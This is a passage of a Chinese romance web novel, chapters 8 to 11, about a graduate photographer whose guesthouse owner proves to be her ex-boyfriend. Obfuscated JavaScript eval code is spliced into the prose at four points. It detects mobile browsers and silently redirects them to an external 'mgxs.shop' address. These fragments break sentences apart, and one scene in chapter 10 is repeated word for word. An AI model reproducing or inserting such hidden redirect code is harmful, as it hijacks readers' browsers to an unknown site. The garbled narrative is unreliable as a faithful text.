可惜林余低着头整理毯子，只随便嗯了声，问他们：“你们老板什么时候来？” 于燃没回答，倾身靠近她，那股男士香水味淡淡朝她袭来。 她不知道于燃要做什么，警惕的倾身后退。 于燃将她垂落在地上的毛毯边缘牵起，规整得放回椅子上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093808|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我听路潇玉说，你想租三个月是吗？” “嗯。”林余警惕的盯着他。 “是这样，我们民宿一般是不讲价的。但我们也是一个有人文关怀的民宿，会对毕业季的大学生进行扶持，打八折，但仅限毕业季的大学生，需要提供学信网相关证明，你符合条件吗？” 林余惊讶：“不早说？我们这边三个应届生，这五天都是按原价交的钱。” “只有长期租才有优惠，短期都是正常价钱的。” 路潇玉诡异地盯着于燃看了一会，又看向林余，恍然大悟。 原来于燃也怕啊，于是想了这么一招想委婉的拒绝，却没想到歪打正着，大姐大居然是刚毕业的大学生。 只是他们民宿三个月租金一万八，打八折便宜了将近四千块，于燃干脆把房间送大姐大一个月得了。 “路子，拟一份合同来。”于燃出声，把路潇玉从天马行空的想象里拽出来。 就在刚刚，两人已经飞快的把各种细节都敲定好了。 林余看着起身要出去的路潇玉，问：“合同得和房东签吧？你们老板还没来？” 有那么忙吗？ 路潇玉一拍脑袋：“瞧我这事办的，忘记给你们两个互相介绍了。” “林小姐，这是我们民宿的老板，姓于。” “老板，这是林小姐。” 林余看向于燃，男人微笑着，有些诧异：“我以为我进来的时候，你就知道我是老板了。” 她一直以为他是一楼清吧调酒师，根本没往民宿老板这方面想。 带着答案回想，一切似乎都有迹可循，林余想起餐馆服务员对他的态度、书架上有关于计算机的专业书、以及留言墙上的帅哥老板...... 林余有一种这样才合理的感觉，她就说，于燃怎么能从拿到M国工作签证和大厂百万年薪的程序员，变成海城一家不知名清吧的调酒师，这转变也太大了。 在火车上就已经认出她来，还帮了她，也不打招呼。 在民宿里一起吃饭聊天，要求冰释前嫌。 在明知她打算久住的情况下，一面劝她住下来，一面又不告诉她最重要的身份。 林余伸出那只纹有青龙的手，又是面无表情，冷冷地盯着他瞧。 那么于燃这些天一直在向她示好的目的也十分明显了。 就是怕失去她这个一订三个月的大客户吧！ 她问：“于燃，前几天，你就一句话不说，让我一直误会着？” 路潇玉察觉到两人似乎一早就认识，目前的气氛还有些不对劲，讪讪笑着：“那个，我去拟合同了，你们聊。” 理清了逻辑链，林余也冷静下来。 算了，无所谓，于燃是什么身份很重要吗？ 哪怕他是市长，都和她没关系。 “我去看看路潇玉合同怎么拟的。” 她起身要走，于燃顺势接住她盖腿的毛毯，捞在怀里，跟在她身后。 “我带你去。” 于燃弯腰低头，平视林余，眼神非常诚恳。 “对不起，我没有找到合适的时机告诉你这件事情。” 8. 第 8 章 “我是真的希望你在海城玩得开心，不想和你有什么不愉快。” 林余按住门把手的手停住。 于燃有一个很令人佩服的点，他总能得到想要的结果，不论过程多么繁琐、艰难。 而且是笑眯眯、悄无声息的就达到了，林余称这项技能为精神攻击。 这种性格挺强势的，虽然于燃自己不那么觉得。 但是如果林余不接受他的道歉，那他就会一直道歉、尝试弥补、以退为进，直到林余真的原谅他为止。 林余来海城的目的是放松，她是真的不想再和前男友有什么纠纷了。 于燃觉得和前女友成为朋友，才算是给这段感情画一个完美的句话，那就这样吧。 她靠在门上，伸出手：“我一开始确实有点生气，但仔细想来，你说的确实很有道理。” “我们之间的关系统确实不能这么僵硬，燃哥，当朋友挺好的。” 于燃笑得非常愉快，回握住她。 林余默默叹口气，侧身叫让他先走带路。 终于解决了。 于燃还是得顺着薅。 朋友二字出现在他们中间。似乎永远都会带来不愉快。 久远的记忆似玻璃外的景色，有时候不需要用手擦拭，当玻璃上的水雾□□燥炎热的天气自然烘干，便显露了出来，这是不受控制的。 刚在一起时，林余与于燃一起去吃饭，正好碰见了隔壁班玩得好的一名同学，同学身边跟着一大帮人，男男女女都有，看起来像刚聚会回来。 同学冲她打招呼：“林余！” 林余回应，却悄悄放开了与于燃交握的手，于燃站在一旁等她们寒暄。 不一会，同学的目光转向了于燃，眼睛里亮着光，看看林余，又看看于燃，问：“这位是？” 林余极自然地笑道：“我的一个朋友。” 在她的认知里，她和于燃才刚刚在一起，关系还不算稳定，不到可以昭告天下的地步，而且于燃虽然不是本科生，但在计算机系也十分出名，林余不太确定，他想不想公开两人的关系。 在这么一大帮子人面前点头，不一会两人的关系网里的人就能全知道，相信这也是于燃不愿意看到的。 却不想，放在后面的手，突然被攥住，很紧。 于燃的手宽厚、炙热，带着让人不容拒绝的力道，就像他这个人。 林余顿时明白他的意思，她没有回头，好多双眼睛都在盯着两人，但似乎暂时还没有人发现这个小动作。 林余只好往后退了一步，用贴近的身体挡住交握的双手，讨好的捏了捏于燃的手。 于燃最终还是放开了。 后来，同学们走远，林余冲于燃笑，狗狗眼弯起来，显得真诚万分，主动挽上了于燃的手，抱得很紧。 于燃作势要抽开：“学妹，我们只是朋友，这不合适吧？”他眸色冷淡，不见平日里的含笑纵容。 不难看出，他生气了。 林余有些不知所措，她从未接触过亲密关系，也对于燃不够了解，就像不知道于燃会因为这件事情生气一样，她也不知道该如何哄于燃高兴。 当时的一举一动都鲜活生动，反倒是现在的情绪来得莫名其妙，像隔了一层难以触摸的纱。 最后于燃没有坚持多久，林余趁着四下无人，左右看了看，踮起脚亲亲他的脸颊，于燃顿时就笑了，握紧她的手。 “以后不准这样说了。” * 林余抬头，看向走在她前面的于燃。 于燃正好也回头，两人的目光猝不及防的相接。 于燃笑道：“这个时间，你应该刚毕业吧，手头应该也没有那么充裕，我这有个活，你要不要接？可以给你再少点。” 林余看过不少青旅义工类的短视频，她是来散心的，闲着也是闲着，并不反感在民宿里帮忙做些事情。 林余问：“具体需要我做些什么？” 于燃：“最近缺个帮我搭建民宿网站的，主要展示用，挺适合你的。” 林余一愣，没想到于燃说的干活是指这个，这类型的酒店网站，本质上是个blog的东西，wordpress跑一跑就行，林余大学时就帮老师干活了，对她自然算不上什么。 “你怎么不自己做？” 于燃答：“我准备在隔壁市再开一家民宿，太忙了没有时间。” 林余：“你还是自己做吧，我三个月后就走了，网站每年都要维护，你自己做最方便。” 于燃再抛出诱惑，接她话道：“给你免单。” 林余之前也在网上接过私活，展示性网站是真的很简单，现在计算机的行情有这么好吗？她明白一个最简单的道理，免费的才是最贵的。 最重要的是，她讨厌敲代码，一点也不准备重操旧业。 她问：“你的民宿很缺曝光？” 于燃回她：“谁会嫌钱赚得少。” 于燃打什么主意？ 林余审视于燃，他给的价格实在很好。 于燃也低下头回视她，有些疑惑的挑了挑眉。 毫无疑问，于燃长得很好看，桃花眼潋滟，眼下一枚小痣更是蛊惑人心，身材也好。 这是林余大学时的审美，直到现在，也没怎么变过。 不管他本人内里如何，林余看着有些手痒。 想拍照。 见林余一直盯着他，于燃也没有露出不自在的表情，反而冲她微微一笑。 “换一个。”林余出声。 “换一个活干，我有一个办法能让民宿增加曝光。”也能让她不用花钱就能租到民宿。 * 继林余与于燃定下合同，他们已经有些天没见了，仿佛于燃出现就是为了赚她三个月的房租，完成之后就消失了。 路潇玉说于燃不住在民宿，只有特别忙的时候会来帮忙，现在他甚至不在海城。 林余乐得不用见他，顿时觉得民宿周边的空气都更新鲜了。 接连的台风与阴雨天让顾启月和程嘉运两人什么都没玩到就要返程，林余去火车站送他们。 顾启月不在京市上学，offer却在京市，程嘉运则在与两人距离都很远的S市继续学业。 火车站嘈杂，人来人往尽是来海城旅行的游客。 顾启月大力拥抱了一下林余，眼眶竟然有些红，连声音都哽咽。 林余今天没化妆，狗狗眼弯起来时，显得心软得很，轻轻给她擦眼泪。 “哭什么，过年再见就好了。” 三人来自同一个地方，还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093809|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上高中时就认识了，总会有再见的时候。 顾启月闻言，哭得更大声了：“听说我们公司工作强度很大，要是我春节回不来怎么办？要是我工作到一半被开了怎么办，呜呜呜。” 顾启月有一米七多，整个人都扑在她的怀里，眼泪蹭在她肩膀上，林余被她撞得后退两步，求助的眼神投向程嘉运。 程嘉运接收到她的眼神，上前两步，手伸出来放在半空，嘴要张不张，踌躇着不知道该说什么。 林余就知道他指望不上，继续安慰顾启月：“你还这么年轻，工作不好不是很正常的事吗？乖，我们不焦虑，大不了来陪我。” 程嘉运：“启月，我们得走了，不然赶不上检票了。” 林余又与他们说了几句，挥挥手，目送他们离去。 为期三月的独居生涯正式开始。 林余往回走着，说不清心里是惆怅多一些还是轻松更多一些。 起码在离家乡与大学都极远的海城，她远离了所有认识的人，再也没有人可以以关心她的名义对她的未来规划表示忧心了。 三个月的自由生活，她来了！ 然而，在这样值得开心的时刻，一位被林余遗忘的人却出现了。 “林余？”他站在林余身后，双眼含笑，声音带着愉悦，叫住她：“你怎么在这？” 林余回头，看见了于燃。 来之前，她查过海城的面积，虽然说不上特别大，但也绝对不小。 但是，怎么处处就都能碰到于燃？考虑到未来的三个月，林余只能扯起嘴笑了一下，和于燃打招呼：“程嘉运他们要走了，我来送送。” 她与于燃目的地相同，都要离开火车站，不管愿不愿意，好像都只能一起走着了。 于燃看起来刚从火车上下来，眉眼间略显疲惫，他端详着林余的脸，道：“今天不化你的黑化妆了？” 林余：......她不想说话，又想问于燃怎么知道这个妆容的名字的。 于燃笑：“我在隔壁市出差，无聊就刷了下你的视频。林大摄影师真是多才多艺。” 林余喜欢摄影，自然也想自己的作品被更多人欣赏知道，于是便在网上发表视频。 账号主要还是以摄影作品为主，她人景都拍。 山水照片大多恢弘壮阔，自然写意，可模特视频却大都依照模特自己的风格进行拍摄，风格百变，林余最擅长的还是通过对光影的运用营造氛围感，也因此在互联网上，积累了小二十万粉丝。 林余偶尔也会出境和大家分享生活，黑化妆是她给这个妆容起的名字，视频发出后，弹幕一片嚎叫，都在夸她好有反差感，林余回忆弹幕，却只能想起来满屏的“老婆亲亲”、“呜呜我的可爱女儿怎么去混黑涩会了”此类令人脚趾扣地的评价。 林余感到有些尴尬。 而人在尴尬的时候，往往会口不择言，她道：“怎么，你很喜欢？那我们就拍这个。” 原以为会等来于燃的投降，却没想到他面色未变，直接道：“好啊，但是那个妆我画起来会不会显得太凶了，吓到别人。” “要不拍宣传视频的时候画个别的，拍完你再给我画这个黑化妆。我还能陪你一起拍照发视频。” 林余看他一眼：“你想得倒还挺多挺远。” 9. 第 9 章 既然遇到了，林余不准备再多见于燃一面，准备今天就把视频拍了。 她把脚本发给于燃，道：“现在回民宿正好，白天清吧不开，可以借用场地，至于内容，你看看我发给你的脚本，没有问题就可以开拍了，其他的我会准备好。” 林余有条不紊，把脚本发给于燃后，难得耐心又细致地把里面的内容都讲解了一遍。 抬头看于燃时，却见他逆光而站，所幸天光足够明亮，可以看见他的神情。 他似乎有些分神，林余讲话停了好一会才看向她，唇边泛起熟悉的笑容。 林余很不满他的不专心，特意问他一遍：“我讲清楚了吗？” 这话一出，愣神的人变成了林余。 于燃是个细节很多的人，这一点林余深有体会。 就比如他讲题时，从来不问“你听明白了吗？”，而是说“我讲清楚了吗？” 发现这一点是因为有一次，林余有一道题无论如何都搞不懂，只好去求助她的研究生表姐。 林楚常年跟着老师做项目，这种本科生的难题对她来说根本算不得什么，讲题也囫囵。 林余只觉讲了和没讲一样。 她眼珠一转，瞄上了一旁静静工作的于燃。 她怀抱着某种自己也无法说清的心绪，在表姐去上厕所后，悄悄坐到了于燃身边。 她刻意弄出了些响动，将平板放在了桌子上。 于燃果然转过头来，不笑时表情也一点不凶，让林余产生了勇气。 只是她还没开口，于燃就先说话了。 他看看林余手上的教程，露出怀念的神情：“我上学时也学的这个版本，有什么不会的吗？” 末了，于燃推推眼镜，问她：“我讲清楚了吗？” 面对少女隐秘情怀的对象，无论是谁，仿佛都会生出比平时更多的细心，去发现一个人的好，亦或者这就叫滤镜。 题目早已模糊，对后来的她而言也再算不得什么。 只是当时的雀跃到现在也记忆犹新，似乎那团火焰的余烬正潜伏在某个角落。 后来她和表姐说：“表姐，于燃学长给我讲题又温柔又细心，说的不是‘你听懂了吗？’而是‘我讲清楚了吗’，他也太好了吧！” 表姐的表情很惊讶，重复一遍：“于燃给你讲题？妹妹，这话可不兴乱说。” “老师叫了好几次，让他帮忙带本科生，他没有一次是同意的，真是活见鬼了。” 林余从不否认，于燃对自己产生了很大影响，一些言行已经潜移默化，她也不觉得这有什么不好。 她只学好的。 现如今，这一点没用的小细节，也只有她还记得清清楚楚。 思及此，她赶紧拉回自己的思绪，不再陷入无谓的回想中。 却听见于燃轻轻感叹道：“你还是这么风风火火。” 林余低头翻了个白眼，嗯了一声，道：“这么多年没沉淀一下真是抱歉。” * 林余定下的第一个拍摄地点是民宿一楼的清吧。 把窗帘和门都关上，顷刻间就像入了夜。 一盏昏黄的灯打在于燃身上，朦胧地照出他挺拔轮廓。 林余举着相机，四处寻找角度。 余燃的笑与前几天花园的重合，赏心悦目的同时也让人倍感亲切，和林余预想的有些出入。 她拍了一通，脸上却没有露出满意的神色，于燃已经很长时间维持这举着酒杯轻轻摇晃、身体看似舒展随意，实则都是全身肌肉同时发力才能保持的姿势了。 他忍不住微微活动了下僵硬的脖颈，双肩往后放松了一下。 林余骤然叫住他，眼里发着光：“停！就是这个感觉！” 她几步走至于燃腿前，半蹲下来仰拍。 于燃见她姿势变扭，忍不住想笑。 林余咔嚓咔嚓一顿拍，又叫他一声：“别笑。” 林余发现，于燃这个姿势时，有一种年长感。 当然不是七八十岁的老人感。他长相的风流潇洒与这几年日益增长的成熟气质明明是极矛盾的，却在这时有了完美的融合。 那双上挑眼随着脸部抬起时向下泄出的一点光极有氛围感，让人想飞蛾扑火。 她凝神注视着照片，以一个专业摄影师的角度细细看去，那一点乍现的灵感被她牢牢抓住，完全忘记了和于燃的恩怨。 林余发现还有一点可以优化。 她快速跳上吧台的椅子，相机也随意抛给于燃，于燃轻轻接住，有些惊讶的看向她。 林余轻声道：“冒犯了。” 女孩的脸就这么毫无预兆地凑近，那双下垂眼真诚依旧，在黯淡灯光之下展露出的光芒令人心惊，让人忍不住后退，又忍不住上前。 于燃岿然不动，静静凝视着女孩脸颊处细微的绒毛。 直到香甜的味道完全笼罩他。 林余有些不满地看向于燃，因为他的乱动，口红在他唇边擦出了一道不算浅的痕迹。 她把于燃的头转过来。 有些人兴奋时，气血全冲在脸上，手脚反而冰凉，林余就是这种人，此时与手与于燃的脸相触，下意识眷恋起了这温热触感。 但很快就有别的东西转移了她的注意力：“于燃，你真是个天才！” 她来时似火，走时也如风般轻快，一瞬间，于燃怀中一空，林余已经拿走相机一顿狂拍了。 兴起时，她还教于燃怎么动起来。 “于燃，亲过嘴没？假设你前面就是你的亲嘴对象，对，就是这个眼神，身体也向前一些……” “好看！很好看！就是这个姿势……” 林余拍过这么多人的经验之谈，你越夸赞一个人，他的表现力才会越强，反之亦然。 一开始她还有些放不开，但现在已经彻底沉浸其中了，什么好话都说完了。 等拍完清吧这一个点时，她才渐渐反应过来。 于燃落后她半步走着，两人已经脱离了正常的社交距离。 她一边看着相机内容，一边加快脚步，谁料于燃始终跟随着她的节奏，就是要像个阴影似地笼罩在她身边。 看向于燃时，他眨眨眼，低头看她，半点没发现有任何不妥。 林余的心潮已经平静，心如止水，看于燃时也格外宽容，主动和他并排走，横向拉开距离。 于燃走近她，道：“我能看看照片吗？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093810|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当然可以。林余干脆把相机递给他：“按这个键是下一张。” 于燃接过，一张张细细看起来，脸上的表情看不出他对照片的满意态度。 但林余对自己有信心，而且她知道，对于燃这种体面人来说，不管拍得怎样，他也会夸上几句。 哪成想，一直到他们走到下一个拍摄地点，于燃嘴里也没蹦出一个字来。 林余的心态发生了微妙的变化，就在她要夺回自己的相机时，于燃终于开口了。 “你给每一个模特都这么说吗？” 当然了，夸赞每一个模特她的基本素养，应该没有人不喜欢被夸吧？ 于是林余也这么回答了。 脖子上骤然一沉，相机重新回到她身上，林余宝贝地摸了摸。 于燃又接着笑道：“照片拍得很好，多亏你指导我了。” 林余以为他是对照片有不满意的地方，又不好意思直说，好心安慰他：“你有什么想修的告诉我，后期都能P。” 反正等拍完宣传视频，他们就两清了，林余虽然对于燃不假辞色，但对客户还是尽心尽力。 等民宿宣发视频发上去，就算冲着于燃这张脸，应该也会有很多人买账，倒时民宿小火一波，她也涨点粉还不用交房租。 双赢局面。 室外阳光灿烂，此时已近下午，温度愈发炽热，连空气都轻微扭曲。 天气真的很热，林余一到室外就开始出汗，连轻薄的防晒衣都成了挂碍，林余脱下它塞进包里，拿出遮阳伞来。 湛蓝色的小伞配着蕾丝花边，一看就很有大海的气息。 遮阳伞大多都不大，两人人时只适合亲亲热热地挽着手一起走，就像她和顾启月。 林余撑着伞，目不斜视地往前走着，手臂上的青龙受阳光的灼烫，更是张牙舞爪地要飞出来了。 下一个拍摄场地是沙滩，需要一个视频，因此并不需要太多精心设计的角度，更多的是模特的自然感。 海浪一下下拍在林余的脚上，清凉与灼热交替。 于燃离她有些距离，及腰的海水打湿他的白色衬衣，牢牢粘在皮肤上，内里的紧实的肌肉透了出来。 林余遥遥冲他比了个OK的手势，准备收工了。 海城的夏天名不虚传，在这样的午后，游客都躲在沙滩上的大伞下，海里的游客只有三两个，十分方便拍摄。 于燃拧着身上的衬衣，海水自他手中流出，怎么也拧不干。 林余只觉视线一花，于燃就变了个样子。 健壮胸膛彻底展露在眼前，海水晶莹顺着线条蜿蜒而下，有滴水眷恋地挂在枝头上，极缓慢地往下坠去，再下是分明的腹肌、人鱼线，一切都随着他的呼吸均匀起伏着。 于燃见她看来，桃花眼弯起，没觉得有任何不对。 行吧，林余移开视线，看着沙滩上穿着泳装的男男女女。 她也没什么好阻止的。 她重新打起伞来，许久没有锻炼过的身体很难承受这般高强度的劳作，步履迟缓。 手上一轻，于燃再次很自然地接过她手中的伞，眼波流转间，眼下那枚小痣格外明显。 他问：“好看吗？” 10. 第 10 章 太阳很晒，伞倾斜而下时带来短暂的阴凉，林余晕乎乎的，反应也慢半拍，顺着于燃的暗示在他身上逡巡了一圈。 她低头，指指脖子上的带子，于燃很有眼色地将相机取下，拿在手中。 动作间两人的距离拉进，林余迅速捏捏他的手臂，感受着手底下顿时僵硬的肌肉，兴致缺缺：“还行吧。”好看有什么用，没手感。 于燃退后半步，伞被惊到似的更加往她那边倾斜，他偏过头看向海边，道：“我是问你拍照的事。” “哦，”林余跟着伞慢吞吞地走着：“下次说话清楚点。” 他们渐渐走出沙滩的范围，来到了树荫下。 林余坐在路边的长椅上，接过于燃的水，道了声线，一口喝掉大半瓶。 太阳很晒，伞倾斜而下时带来短暂的阴凉，林余晕乎乎的，反应也慢半拍，顺着于燃的暗示在他身上逡巡了一圈。 她低头，指指脖子上的带子，于燃很有眼色地将相机取下，拿在手中。 动作间两人的距离拉进，林余迅速捏捏他的手臂，感受着手底下顿时僵硬的肌肉，兴致缺缺：“还行吧。”好看有什么用，没手感。 于燃退后半步，伞被惊到似的更加往她那边倾斜，他偏过头看向海边，道：“我是问你拍照的事。” “哦，”林余跟着伞慢吞吞地走着：“下次说话清楚点。” 他们渐渐走出沙滩的范围，来到了树荫下。 林余坐在路边的长椅上，接过于燃的水，道了声线，一口喝掉大半瓶。 于燃也过来，距离她不远不近的坐着，一只手拿着相机，静静翻看刚刚拍的视频，开口问：“你经常给人拍照吗？” 林余正静静休息，脑子里盘算着接下来的拍摄计划，活不多了，或许可以一天拍完，闻言点点头。 一开始是拉身边的人拍，后面有了例图就渐渐有人找了过来。 京市很发达，爱好摄影的人也不少。林余这两年陆陆续续拍了不少人，也认识了一些兴趣相投的朋友，拍了许多非常满意的照片。 思及此，她目光柔和下来，手指摩挲着相机包，道：“都是朋友间互相拍。” 朋友。 于燃看着林余，自然也注意到了她放松下来的眼神。 他联想到了在清吧遇到的那小子，以及他耳朵上的黑色耳钉。 也是那个时候认识的吗？ 林余见于燃还在翻相机，便也拿起手机边玩边等他。 她最近总觉得自己忘了什么事，到底是什么呢？ 林余漫无目的地点开通讯软件，一一回复过她发来的消息，指尖下滑，看到“相亲相爱一家人（4）”的家庭群时，才恍然记起。 台风天时妈妈给她打电话，她忘记回了！ 林余瞥了一眼于燃，起身：“我打个电话。” 于燃还在看相机，问她：“相机里别的照片我可以看看吗？” 林余点头，内存卡里的东西她来前清过一篇，没什么不能看的。 她起身走到远处，身后是树荫，身前是沙滩。 电话响了好多声才被接通，传来嘈杂的声响，伴随着她妈妈有些模糊的声音：“皎皎……吃了饭再走吧。” “你妹妹的电话，要不要讲两句？” 又是一阵对话，林余安静地等待她们把话讲完再开口：“妈，之前你打我电话那会，我有点事，忘记给你回电话了。” 民宿停电的时候，她手机里来过一个电话，是妈妈的，当时情况说得上兵荒马乱，林余就忘了这回事。 林母声音带着笑意，“皎皎，早点下班，别太辛苦了，今天还是八点钟回来是吧，妈给你热着饭呢。” “皎皎昨晚熬夜画设计稿，真是的，明明不用这么辛苦……”林母嗔怪道。 她又对林余讲话：“怎么这么久才给我回电话？我听嘉运妈妈说他已经去上学了，你准备什么时候干干正事？” “现在大学生一抓一大把，你是C大毕业的又怎么样？好公司都是一堆人抢着去。” “连你姐当年也不容易。” “可是我想在海城休息一段时间。” 林母惊讶：“你在海城呆了八九天，够了吧。” “五天，是五天。” 林余盯着前方，海浪远远的只能看到拍在沙滩时露出的白边，就像少女裙摆洁白的蕾丝边。 林皎是个服装设计师，毕业后自己创业，林余记得她做了一件这样的裙子。 林余蹲下，抠着沙子。 林母还在说话：“我可不给你钱啊，你已经毕业了。” 林余嗯了一声：“不用你们给，我自己够用。” “不当家不知柴米油盐贵，就你那点钱，能撑多久，别去搞什么乱七八糟的网贷啊。” 林母又问：“那你到底要玩多久？我上网看过了，网上那种大学生特种兵式旅行，海城一天就可以玩完了，你还没玩够？” 林余：“你也说是特种兵，我又不急着玩。” 而且，她到这边也是来做正事的。她张口欲言，又不知道该说什么。 因为她的正事，在她爸妈看来，就是不务正业。 林母：“工作找了吗？要不干脆去你姐公司上班好了。” “皎皎公司在上升期，你不是学计算机的吗？正好也不用辛苦投简历找工作了，多帮衬一下你姐姐，不过也不知道你姐姐要不要你，我得和她说一声。” 林余不服：“我有实习经历也有奖项，C大去任何互联网公司都够了好吗？我要是能来，应该是林皎公司里学历最高的一个。” “你姐姐学历不就比你好？而且话不能这样说，你们是姐妹，计较这么多干什么？” 林余听着林母的絮絮叨叨，打断：“我准备在海城玩三个月，已经找好房子交钱了。” 电话那头的声音戛然而止。 林母声音变得柔软：“女孩子其实可以不用那么辛苦，你要是不想去你姐公司上班，去考个公务员，安安稳稳的，以后嫁个好老公。” “我不想回老家。” “林余！我好好跟你说话，你就不听是不是？我什么时候惹你了？你闹也要有个分寸吧？” “有谁会给你兜底？没有人会给你兜底！你今年不找到工作就别回来了！趁早找个人嫁了吧！” 林余沉默，心脏极深极软的地方传来酸楚与阵痛，叫嚣着让她投降妥协。 她不想和妈妈吵架，她不想过年回不了家，她不想妈妈亲口说出这一句没有人会给她兜底。 好像下雨了。 眼睛看不清了。 她好像知道有更好的解法，但她不知道该怎么做，没有人教过她。 林余甜美稚气的长相，让她站在那里，就让人觉得乐观开朗，就算面无表情，也不会觉得她在生气。 所以哪怕此刻眼眶湿润，喉咙疼到难以开口，只要笑一笑，就可以掩盖过去了。 她匆匆道一句知道，挂断电话。 面无表情地刷了几个搞笑视频后，她起身回去。 “久等了。”她侧身站在长椅旁，佯装眺望海边，有海风吹起她额角的发，带走眼角的灼热。 熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093811|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音从耳后传来。 “你还偷拍过我的照片？”于燃似笑非笑，把相机往怀里带了一些，似乎害怕林余会来抢。 “什么时候？”林余思绪很乱，她确实记不清了。 于燃笑，撑起伞与她并肩走着，嘴上不停，揶揄：“我这个被拍人怎么知道……” 林余没回他，继续往前走着，民宿就要到了。 耳边似乎安静了有一会，林余都有点不习惯了，才又听到于燃在说话。 “是你到民宿的第一天，我们在小花园见了吧，当时你在三楼阳台，我在花园里。” “我突然和你打招呼，你有没有吓一跳？然后慌慌张张不小心按到了拍照键。但就算是不小心照出来的相片，构图、角度、本能抓拍的瞬间都很好。” “谢谢，你也长得很帅。” 相机拍照时的“咔嚓”声，林余很喜欢，会让她更加专注，所以一直没关，没想到那么远，于燃也能听到，听力不错，但会不会有点扰民了。 她漫无边际地想着。 到民宿了，于燃又叫她稍等一下。 林余便坐在沙发上等，看着他远去的背影，她长松一口气，从包里翻出纸巾擤鼻涕。 为了不让人发现，她甚至不敢大声呼吸。 手机里，“相亲相爱一家人”的群聊静悄悄的。 之前拍过照的客户给她发消息，说她拍得很好，问她什么时候有时间，想再拍一组。 林余告诉客户，她很长一段时间不会去京市。 客户很遗憾，她发了个小狗叼花的卡通表情包以表安慰。 情绪渐渐平静下来，有什么冰凉的东西贴上了脸颊。 林余抬头，于燃站在她面前，唇角带着轻松的笑意，一手拿着瓶饮料往她脸上贴，一手插在裤兜里，他换了一件宽松的白色半袖，显得年轻极了。 “我记着你以前喜欢喝这个，不知道口味变了没有。” 林余给他让了一个位置，于燃顺势坐下，手里还拿着一瓶可乐。 民宿冰箱冷气十足，可乐瓶声上有一层白色的水汽，就像下雨时车窗内凝结的白气，林余下意识就把它擦掉。 “才两年，哪那么容易变。” 于燃笑：“谁知道呢。两年就是730天，17520个小时，1051200分钟……” “停！”林余叫停他：“不用再展示，知道你数学好了。” 于燃：“年轻人啊，不把时间当回事。” 林余拧瓶盖，却发现很轻易便开了，独属于碳酸饮料的甜与辛辣窜进口腔，室外带来的暑气也随之慢慢消退。 她慢慢喝完，斜睨他一眼：“你很老了吗？” 于燃笑：“我早就知道时间宝贵了，两年也转瞬即逝。” 他垂眸，没有看林余，轻柔摸索着相机的边框，似乎手中的相机是用什么棉花做成的而不是金属。 他故作深沉地叹了口气：“前段时间回C大，老师也说我变了很多。” 林余笑，很少见于燃怀念过去，在从前的记忆里，他一直都是更为积极的那一方，似乎只要踩着他的脚印走，就什么也不用担心。 林余不喜欢困在情绪里，和于燃聊了两句，她已经平复了许多。 就在这时，于燃看了眼手机，原本舒展的眉头皱起来。 “抱歉，今天的拍摄能先到这里吗？我有点事。” 林余欣然答应，走之前，于燃将另一瓶可乐也留给她。 林余下意识想擦去瓶上水汽，却看到可乐瓶上被画了个笑脸，随着时间的流逝，已经有些模糊了。 11. 第 11 章 在这之后，林余又与于燃约好时间，把需要的素材全数拍好。 剪辑与P图，做得精细些，就得慢慢微调，寻找合适的风格和氛围。 林余这几天一直呆在民宿里弄这些，觉得饿了，就去民宿的餐厅吃一顿他们免费提供的餐食。 此刻，房间窗帘被全数拉上，空调被调到二十六度，林余裹着一张薄被，莹莹白光映在她的脸上，照出眼底的青色，她全神贯注工作时效率很高，但相对的，作息格外昼夜颠倒。 她一点点放大，观察着细节，许久，终于点击“导出”，发给于燃。 【林余：你看看还有什么需要改的。】 完成一个作品的战栗短暂地控制了林余的大脑，明明是深夜，她已被透支，眼睛也疲惫不堪，被电脑的光照出眼泪来，可头脑却分外清醒，翻来覆去的欣赏着这个视频。 越看越觉得满意，越看越觉得自己的技术好。 分享欲忽得膨胀，林余现在特别想开口跟人说话、想出去吃一点热气腾腾的东西。 她来到民宿已经有十天，自顾启月两人走后，便只和于燃说过话，这三天关在房间里工作，竟然完全和外界隔绝了。 可现在已是凌晨，她一时想不到可以给谁发消息，一个人也有些不敢出门。 